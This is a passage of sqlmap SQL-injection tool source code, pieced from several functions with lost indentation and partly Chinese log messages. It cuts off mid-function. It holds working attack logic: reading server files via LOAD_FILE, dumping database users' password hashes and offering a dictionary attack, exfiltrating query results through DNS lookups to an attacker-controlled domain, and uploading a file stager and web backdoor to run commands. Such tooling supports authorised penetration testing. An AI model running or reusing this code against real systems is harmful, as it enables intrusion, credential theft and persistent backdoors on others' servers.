referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", False)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
skipRead = kwargs.get("skipRead", False)
if not urlparse.urlsplit(url).netloc:
url = urlparse.urljoin(conf.url, url)
# flag to know if we are dealing with the same target host
target = reduce(
lambda x, y: x == y,
map(lambda x: urlparse.urlparse(x).netloc.split(':')[0],
[url, conf.url or ""]))
if not retrying:
# Reset the number of connection retries
threadData.retriesCount = 0
# fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20")
conn = None
code = None
page = None
_ = urlparse.urlsplit(url)
requestMsg = u"HTTP request [#%d]:\n%s " % (
threadData.lastRequestUID, method or
(HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
requestMsg += ("%s%s" %
(_.path or "/",
("?%s" % _.query) if _.query else "")) if not any(
(refreshing, crawling)) else url
responseMsg = u"HTTP response "
requestHeaders = u""
responseHeaders = None
logHeaders = u""
skipLogTraffic = False
raise404 = raise404 and not kb.ignoreNotFound
# support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url)
# fix for known issues when using url in unicode format
# (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case)
url = unicodeencode(url)
try:
socket.setdefaulttimeout(timeout)
if direct_:
if '?' in url:
url, params = url.split('?', 1)
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(
proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect._connReadProxy(conn) if not skipRead else None
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(
page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
return page
elif any((refreshing, crawling)):
pass
elif target:
if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
url = re.sub("\Ahttp:", "https:", url, re.I)
url = re.sub(":80/", ":443/", url, re.I)
if PLACE.GET in conf.parameters and not get:
get = conf.parameters[PLACE.GET]
if not conf.skipUrlEncode:
get = urlencode(get, limit=True)
if get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if PLACE.POST in conf.parameters and not post and method in (
None, HTTPMETHOD.POST):
post = conf.parameters[PLACE.POST]
elif get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({
HTTP_HEADER.COOKIE: cookie,
HTTP_HEADER.USER_AGENT: ua,
HTTP_HEADER.REFERER: referer
})
if kb.authHeader:
headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
headers[
HTTP_HEADER.
ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
headers[HTTP_HEADER.HOST] = host or getHostHeader(url)
if post is not None and HTTP_HEADER.CONTENT_TYPE not in headers:
headers[
HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(
kb.postHint, DEFAULT_CONTENT_TYPE)
if headers.get(
HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[
POST_HINT.MULTIPART]:
warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE
warnMsg += "Will try to reconstruct"
singleTimeWarnMessage(warnMsg)
boundary = findMultipartPostBoundary(conf.data)
if boundary:
headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (
headers[HTTP_HEADER.CONTENT_TYPE], boundary)
if auxHeaders:
for key, item in auxHeaders.items():
headers[key] = item
for key, item in headers.items():
del headers[key]
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(
item, kb.pageEncoding)
post = unicodeencode(post, kb.pageEncoding)
if method:
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
requestHeaders += "\n".join(
"%s: %s" %
(key.capitalize() if isinstance(key, basestring) else key,
getUnicode(value)) for (key, value) in req.header_items())
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join(
"%s=%s" %
(getUnicode(cookie.name), getUnicode(cookie.value))
for cookie in cookies))
if post is not None:
if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
requestHeaders += "\n%s: %d" % (string.capwords(
HTTP_HEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION
requestMsg += "\n%s" % requestHeaders
if post is not None:
requestMsg += "\n\n%s" % getUnicode(post)
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
conn = urllib2.urlopen(req)
if not kb.authHeader and getRequestHeader(
req, HTTP_HEADER.AUTHORIZATION
) and conf.authType == AUTH_TYPE.BASIC:
kb.authHeader = getRequestHeader(req,
HTTP_HEADER.AUTHORIZATION)
if not kb.proxyAuthHeader and getRequestHeader(
req, HTTP_HEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(
req, HTTP_HEADER.PROXY_AUTHORIZATION)
# Return response object
if response:
return conn, None, None
# Get HTTP response
if hasattr(conn, 'redurl'):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect._connReadProxy(conn) if not skipRead else None
code = code or conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(
page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg)
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
url = extractRegexResult(META_REFRESH_REGEX, page)
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
choice = readInput(msg, default="Y")
kb.alwaysRefresh = choice not in ("n", "N")
if kb.alwaysRefresh:
if url.lower().startswith('http://'):
kwargs['url'] = url
else:
kwargs['url'] = conf.url[:conf.url.rfind('/') +
1] + url
threadData.lastRedirectMsg = (threadData.lastRequestUID,
page)
kwargs['refreshing'] = True
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect._getPageProxy(**kwargs)
except SqlmapSyntaxException:
pass
# Explicit closing of connection object
if not conf.keepAlive:
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception, msg:
warnMsg = "problem occurred during connection closing ('%s')" % msg
logger.warn(warnMsg)
except urllib2.HTTPError, e:
page = None
responseHeaders = None
try:
page = e.read() if not skipRead else None
responseHeaders = e.info()
responseHeaders[URI_HTTP_HEADER] = e.geturl()
page = decodePage(
page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % e.code
logger.warn(warnMsg)
return None, None, None
except KeyboardInterrupt:
raise
except:
pass
finally:
page = page if isinstance(page, unicode) else getUnicode(page)
code = e.code
threadData.lastHTTPError = (threadData.lastRequestUID, code)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
status = getUnicode(e.msg)
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
code, status)
if responseHeaders:
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize(
) if isinstance(key, basestring) else key), getUnicode(value))
for (key,
value) in responseHeaders.items())
logHTTPTraffic(
requestMsg,
"%s%s\n\n%s" % (responseMsg, logHeaders,
(page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders,
(page or
"")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if e.code == httplib.UNAUTHORIZED:
errMsg = "not authorized, try to provide right HTTP "
errMsg += "authentication type and valid credentials (%d)" % code
raise SqlmapConnectionException(errMsg)
elif e.code == httplib.NOT_FOUND:
if raise404:
errMsg = "page not found (%d)" % code
raise SqlmapConnectionException(errMsg)
else:
debugMsg = "page not found (%d)" % code
singleTimeLogMessage(debugMsg, logging.DEBUG)
processResponse(page, responseHeaders)
elif e.code == httplib.GATEWAY_TIMEOUT:
if ignoreTimeout:
return None, None, None
else:
warnMsg = "unable to connect to the target URL (%d - %s)" % (
e.code, httplib.responses[e.code])
if threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return None, None, None
else:
raise SqlmapConnectionException(warnMsg)
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" %
(remoteFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % remoteFile
logger.debug(debugMsg)
inject.goStacked(
"LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)"
% (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" %
(self.tblField, self.fileTblName),
resumeValue=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % remoteFile
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
if not kb.bruteMode:
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warn(warnMsg)
result = self.nonStackedReadFile(remoteFile)
else:
raise SqlmapNoneDataException(warnMsg)
else:
length = int(length)
chunkSize = 1024
if length > chunkSize:
result = []
for i in xrange(1, length, chunkSize):
chunk = inject.getValue(
"SELECT MID(%s, %d, %d) FROM %s" %
(self.tblField, i, chunkSize, self.fileTblName),
unpack=False,
resumeValue=False,
charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" %
(self.tblField, self.fileTblName),
resumeValue=False,
charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def getPasswordHashes(self):
infoMsg = u"获取数据库用户密码哈希"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(',')
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
values = inject.getValue(query, blind=False, time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
password = "******" % hexencode(password).upper()
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
user = unArrayizeValue(user)
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.INFORMIX):
count = 1
else:
infoMsg = u"获取用户'%s'的密码哈希数量" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = u"无法检索用户'%s'的密码哈希数量" % user
logger.warn(warnMsg)
continue
infoMsg = u"获取用户'%s'的密码哈希值" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user,)
else:
query = rootQuery.blind.query % (user, index)
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = u"无法检索用户'%s'的密码哈希值" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = u"无法检索数据库用户的密码哈希"
errMsg += u"(可能是因为会话用户没有相关系统数据库表的读取权限)"
logger.error(errMsg)
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
storeHashesToFile(kb.data.cachedUsersPasswords)
message = u"您是否要对所检索的密码散列进行基于字典的攻击? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
pass
elif choice == 'Q':
raise SqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def dnsUse(payload, expression):
"""
通过向攻击者的机器发出请求，获取利用DNS解析机制的SQL查询的输出.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (
DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
# 用于DNS技术中名称解析请求的前缀和后缀字符串的字母（不包括不与内容混合的十六进制字符）
# DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters)
prefix, suffix = (
"%s" %
randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET)
for _ in xrange(2))
# MAX_DNS_LABEL = 63
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms(
) in (DBMS.ORACLE, DBMS.MYSQL,
DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr),
expression).group(0)
if extendedField != fieldToCastStr: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
fieldToCastStr, nulledCastedField)
fieldToCastStr = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(
fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(),
"dns_request",
PREFIX=prefix,
QUERY=expressionReplaced,
SUFFIX=suffix,
DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[
Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(
payload,
(expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload,
content=False,
noteResponseTime=False,
raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult(
"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" %
(time.strftime("%X"), "retrieved" if count > 0
else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = u"在%.2f秒内执行了%d个查询" % (count,
calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
warnMsg = "通过SQL注入DNS数据这种渗透方法"
warnMsg += "目前不适用于DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def columnExists(columnFile, regex=None):
if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common column existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
if not kb.columnExistsChoice:
return None
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common columns (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % columnFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common columns file location?\n"
columnFile = readInput(message) or columnFile
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
